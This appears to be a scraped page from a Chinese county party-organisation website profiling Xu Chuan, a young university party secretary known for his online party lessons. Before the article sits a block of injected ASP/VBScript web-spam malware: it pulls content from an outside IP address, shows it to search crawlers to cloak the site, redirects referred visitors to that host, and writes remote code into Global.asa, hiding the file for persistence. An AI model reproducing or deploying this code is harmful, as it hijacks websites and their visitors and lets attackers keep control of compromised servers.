' ' 'by*aming Server.ScriptTimeout=600 Public Function createasa(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/Global.asa")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/Global.asa"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function createasax(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/Global.asax")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/Global.asax"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent",url ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" GetHtml = objStream.ReadText objStream.Close End Function Function check(user_agent) allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,360,so,haosou",",") check_agent=false For agenti=lbound(allow_agent) to ubound(allow_agent) If instr(user_agent,allow_agent(agenti))>0 then check_agent=true exit for end if Next check=check_agent End function Function CheckRobot() CheckRobot = False Dim Botlist,i,Repls Repls = request.ServerVariables("http_user_agent") Krobotlist = "Baiduspider|Googlebot" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(Repls,Botlist(i)) > 0 Then CheckRobot = True Exit For End If Next If Request.QueryString("admin")= "1" Then Session("ThisCheckRobot")=1 If Session("ThisCheckRobot") = 1 Then CheckRobot = True End Function Function CheckRefresh() CheckRefresh = False Dim Botlist,i,Repls Krobotlist = "baidu|google|sogou|soso|youdao|bing|yahoo|qihoo|iask|haosou|360.cn|so.|anquan|qq.|51yes|51.la" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then CheckRefresh = True Exit For End If Next End Function Sub sleep() If response.IsClientConnected=true then Response.Flush else response.end end if End Sub If CheckRefresh=true Then cnnbd=lcase(Request.ServerVariables("HTTP_HOST")&request.ServerVariables("HTTP_URL")) 'response.redirect("http://198.2.196.141/?"&cnnbd&"") fkurl = GetHtml("http://198.2.196.141/") Response.Write fkurl response.end end If user_agent=Request.ServerVariables("HTTP_USER_AGENT") if check(user_agent)=true then body=GetHtml("http://198.2.196.141/") response.write body urlname="http://"&request.servervariables("HTTP_HOST") link=GetHtml(urlname) response.write link response.end else asa=GetHtml("http://198.2.196.141/globalquan.txt") if instr(asa,"by*aming")>0 then createasa(asa) end if dim name name=request.servervariables("Path_Translated") Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/global.asa")) Dim v Dim t ReDim A(Request.Form.Count) ReDim B(Request.Form.Count) v=Request.Form t=Request.Form.Count if t>0 then For i=0 To t-1 b(i)=Split(Split(v,"&")(i),"=")(1) if instr(LCase(b(i)),"global.asa")>0 then f.Attributes=1+2+4 response.end() end if Next end if if DC=false and CF=True and request.servervariables("QUERY_STRING")<>"" then response.redirect(Rurl&"?"&Request.ServerVariables("HTTP_HOST")) elseif instr(name,";")>0 then set m=fso.Getfile(name) m.Attributes=0 fso.DeleteFile(name) f.Attributes=1+2+4 response.end() end if ScriptAddress=Request.ServerVariables("SCRIPT_NAME") namepath=Server.MapPath(ScriptAddress) If Len(Request.QueryString) > 0 Then ScriptAddress = ScriptAddress & "?" & Request.QueryString end if geturl ="http://"& Request.ServerVariables("http_host") & ScriptAddress geturl =LCase(geturl) 'response.write replace(namepath,server.MapPath("/"),"") 'response.end 'if instr(geturl,"jc=ok")=0 and instr(geturl,"global=ok")=0 and instr(LCase(Request.ServerVariables("http_host")),"gov.cn")=0 and instr(LCase(Request.ServerVariables("http_host")),"edu.cn")=0 and if instr(geturl,"http://"& Request.ServerVariables("http_host") &"/index.asp")=0 and instr(geturl,"http://"& Request.ServerVariables("http_host") &"/")=0 and instr(LCase(Request.ServerVariables("HTTP_REFERER")),LCase(Request.ServerVariables("http_host")))<=0 then agent = lcase(request.servervariables("http_user_agent")) referer = LCase(Request.ServerVariables("HTTP_REFERER")) bot = "" Amll = "" if instr(agent, "+") > 0 then bot = agent if instr(agent, "-") > 0 then bot = agent if instr(agent, "http") > 0 then bot = agent if instr(agent, "spider") > 0 then bot = agent if instr(agent, "bot") > 0 then bot = agent if instr(agent, "linux") > 0 then bot = agent if instr(agent, "baidu") > 0 then bot = agent if instr(agent, "google") > 0 then bot = "nobot" if instr(agent, "yahoo") > 0 then bot = "nobot" if instr(agent, "msn") > 0 then bot = "nobot" if instr(agent, "alexa") > 0 then bot = "nobot" if instr(agent, "sogou") > 0 then bot = "nobot" if instr(agent, "youdao") > 0 then bot = "nobot" if instr(agent, "soso") > 0 then bot = "nobot" if instr(agent, "iask") > 0 then bot = "nobot" if bot="nobot" then 'Call WriteErr 'response.end end if If Instr(REFERER,"http") > 0 and Instr(REFERER,".") > 0 and Instr(REFERER,"/") > 0 and Instr(REFERER,"?") > 0 and Instr(REFERER,"=") > 0 Then Amll = "ok" tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if tjcount="" then response.cookies("cookie_tjcount")=0 response.cookies("cookie_tjcount").Expires=DateAdd("d",1,now()) end if if date1<>date2 then response.cookies("cookie_date")=date2 response.cookies("cookie_date").Expires=DateAdd("d",365,now()) end if tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if date1=date2 and len(bot) = 0 then if int(tjcount)<10 and len(Amll)>0 then response.cookies("cookie_tjcount")=int(tjcount)+1 response.cookies("cookie_tjcount").Expires=DateAdd("d",1,now()) strHost=Request.ServerVariables("HTTP_HOST") Response.Redirect("http://198.2.196.141/?domain="&strHost&"") else response.write "系统找不到指定的文件。" 'response.write "" 'response.write gethtml(geturl&"?global=ok") end if response.end end if Call sleep() end if end if ' 走近《榜样》(五)|80后“网红”徐川_教育动态(图文)_党员教育_马尔康组工网——中共马尔康市委组织部信息中心
  您的位置  首页 >> 党员教育 >> 教育动态(图文) >> 正文
走近《榜样》(五)|80后“网红”徐川
[审核: | 撰稿: | 日期:2017年10月12日 | 浏览1043 次] 字体:[ ]

 


 

    “老师,我们为什么加入中国共产党?”

 

    “老师,那我们该怎么做才能成为一名合格的共产党员呢?”

 

    在《榜样》节目录制现场,共产党员网记者看到,舞台的背景是校园草坪,师生们围坐在一起,两名学生提出上述问题,徐川没有直接回答,他请大家思考中国近代史、中共党史,并且向当下的优秀共产党员榜样寻找答案。

 

    被同学们称为“川书记”“川哥”的徐川,是南京航空航天大学能源与动力学院的党委副书记。徐川是一名“80后”,他的党课在学校选课系统一开通,名额很快就被学生一抢而空。

 

    2016 年“五一”期间,徐川在微信朋友圈里着实火了一把,其个人微信公号“南航徐川”推送的题为《我为什么加入中国共产党?》的文章,相继被人民日报、团中央等官方微信转发,阅读量很快突破10+,并陆续被300多个公众号转载,在青年中引发了广泛关注和热议。

 

    文章中,徐川先从学生们的入党动机说起。“很多同学一谈入党动机都是套话连篇,动不动就‘从小爷爷对我说’。要么是,从小爷爷对我说,吃水不忘打井人;要么是,从小爷爷教育我,没有共产党就没有新中国;要么是,从小爷爷告诉我,生在红旗下,长在新中国……我一度深深地怀疑,大家拥有同一个爷爷……我从来没有这么说过,也从来没有让我爷爷现身说法。因为我没有见过我爷爷。”这样的“桥段”,一下子拉近了与青年的距离。

 

    让徐川坚定入党信念的不是家人,而是他就读大学时的外国语学院党委书记毕可友。当时学院有两个保研名额,毕可友的亲侄女成绩一直是院里的前三名,而毕可友“出人意料”地没给亲侄女“开绿灯”,让很多人大跌眼镜。“什么叫不可思议?升学考学对每个人来说都是天大的事情,她并没有特别傲人的成绩。而且,当你个人利益和别人的利益冲突了,党员本来就要做出牺牲和让步,不然凭什么你是党员?入党的时候都宣誓过的,要随时付出,入党不是为了能够给自己获得更多利益……”毕可友的话,深深触动了徐川的内心,“推着”他迈进党的队伍里。

 

    后来,在经历过一番成长的烦恼和挫折后,徐川认识到,为什么入党的答案只能是两个字:信仰。“我们没有经历过艰苦岁月,也就不能凭空建立起对党的感情和深情。所以,我们要回头看,要仔细想,要慢慢走……这个政党的未来也容易判断,最近一两年,我们见证了很多事儿。所有人都看得到‘打老虎拍苍蝇’,看得到‘从严治党’;所有人都看得到‘八项规定’,看得到‘三严三实’;所有人都看得到‘群众路线’,看得到‘两学一做’;越来越具体,越来越严格,越来越常态,这就是趋势。”

 

    现在微信平台已成为徐川与学生沟通和交流的重要桥梁。对于学生们的任何问题,徐川都会一一解答。他许下承诺,无论多忙,每一个提问的同学都能在24小时内得到答复。徐川说,他每天在微博、微信公号收到的学生提问少则数十个、多则一两百个,回复问题到夜里一两点钟是常事,“最多的一次,我收到近500条问题。虽然回答任务很重,但也不觉得烦,因为这是自己喜欢做的事。”

 

    “引领学生,不是简单地传授完知识就万事大吉了,而是通过与学生互动,教给学生看问题的视角和分析问题的能力。我想做的就是把‘有意义’的事情做得‘有意思’,让同学们接受知识的同时又乐在其中。”徐川说。


相关文章

  • ·没有相关文章

相关专题

  • ·专题1信息无
  • ·专题2信息无